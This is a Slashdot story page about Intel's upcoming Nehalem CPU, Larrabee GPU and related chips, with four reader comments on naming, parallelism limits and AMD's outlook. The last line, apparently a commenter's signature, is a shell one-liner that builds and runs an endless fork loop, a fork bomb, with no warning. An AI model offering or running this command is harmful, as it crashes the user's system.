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Intel Details Nehalem CPU and Larrabee GPU

Vigile writes "Intel previewed the information set to be released at IDF next month including details on a wide array of technology for server, workstation, desktop and graphics chips. The upcoming Tukwila chip will replace the current Itanium lineup with about twice the performance at a cost of 2 billion transistors and Dunnington is a hexa-core processor using existing Core 2 architecture. Details of Nehalem, Intel's next desktop CPU core that includes an integrated memory controller, show a return of HyperThreading-like SMT, a new SSE 4.2 extension and modular design that features optional integrated graphics on the CPU as well. Could Intel beat AMD in its own "Fusion" plans? Finally, Larrabee, the GPU technology Intel is building, was verified to support OpenGL and DirectX upon release and Intel provided information on a new extension called Advanced Vector Extension (AVX) for SSE that would improve graphics performance on the many-core architecture."

4 of 166 comments (clear)

  1. Re:Gflargen and Blackeblae by iknownuttin · · Score: 5, Informative
    Haven't they heard of numbers?

    You can't trademark numbers. When AMD started releasing "x86" numbered processors, Intel filed suit and lost. The judge stated that you can't trademark numbers. It's such an old case, this is what I found in the last 10 minutes regarding Intel and trademarking numbers.

    I'm tired and too lazy to find the actual lawsuit.

    --
    I prefer Flambe as apposed flamebait.
  2. Re:Gflargen and Blackeblae by tzot · · Score: 5, Funny

    Pentium, Pentium II, Pentium III and Pentium 4 made it clear which one was newer (although the shift to arabic numerals was a little inconsistent).
    Someone sent an email to the Intel board of directors, allegedly from CIA, beginning with "Dear Sirs: it has come to our attention that you label your products with arabic numerals."

    It took them a while to get that it was a joke.

    --
    I speak England very best
  3. Re:Why the brick wall? by TheSync · · Score: 5, Informative

    1) We've hit the "Power Wall", power is expensive, but transistors are "free". That is, we can put more transistors on a chip than we have the power to turn on.

    2) We also have hit the "Memory Wall", modern microprocessors can take 200 clocks to access DRAM, but even floating-point multiplies may take only four clock cycles.

    3) Because of this, processor performance gain has slowed dramatically. In 2006, performance is a factor of three below the traditional doubling every 18 months that occurred between 1986 and 2002.

    To understand where we are, and why the only way to go now is parallelism versus clock speed increase, see The Landscape of Parallel Computing ReseView from Berkeley.

  4. Re:The Giant is awakened by Hal_Porter · · Score: 5, Informative
    I think AMD will do OK. Once Dell and the like get used to using CPUs from multiple sources they will probably survive. And a small company like AMD probably has an edge in terms of shorter design cycles and the ability to pick niches. AMD64 was a brilliant hack in retrospect that gave people most of the features of Itanium they wanted (64 bit, more registers) and none that they didn't (and expensive single source CPU with crap integer performance). Meanwhile Intel got hopeless bogged down trying to sell people Itaniums that they didn't want.

    AMD and they have other clever stuff in the pipeline. E.g.

    http://www.tech.co.uk/computing/upgrades-and-peripherals/motherboards-and-processors/news/amd-plots-16-core-super-cpu-for-2009?articleid=1754617439

    What's more, with that longer instruction pipeline in mind, it will be interesting to see how Bulldozer pulls off improved single-threaded performance. Rumours are currently circulating that Bulldozer may be capable of thread-fusing or using multiple cores to compute a single thread. Thread fusing is one of the holy grails of PC processing. If Bulldozer is indeed capable of such a feat, the future could be very bright indeed for AMD.
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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;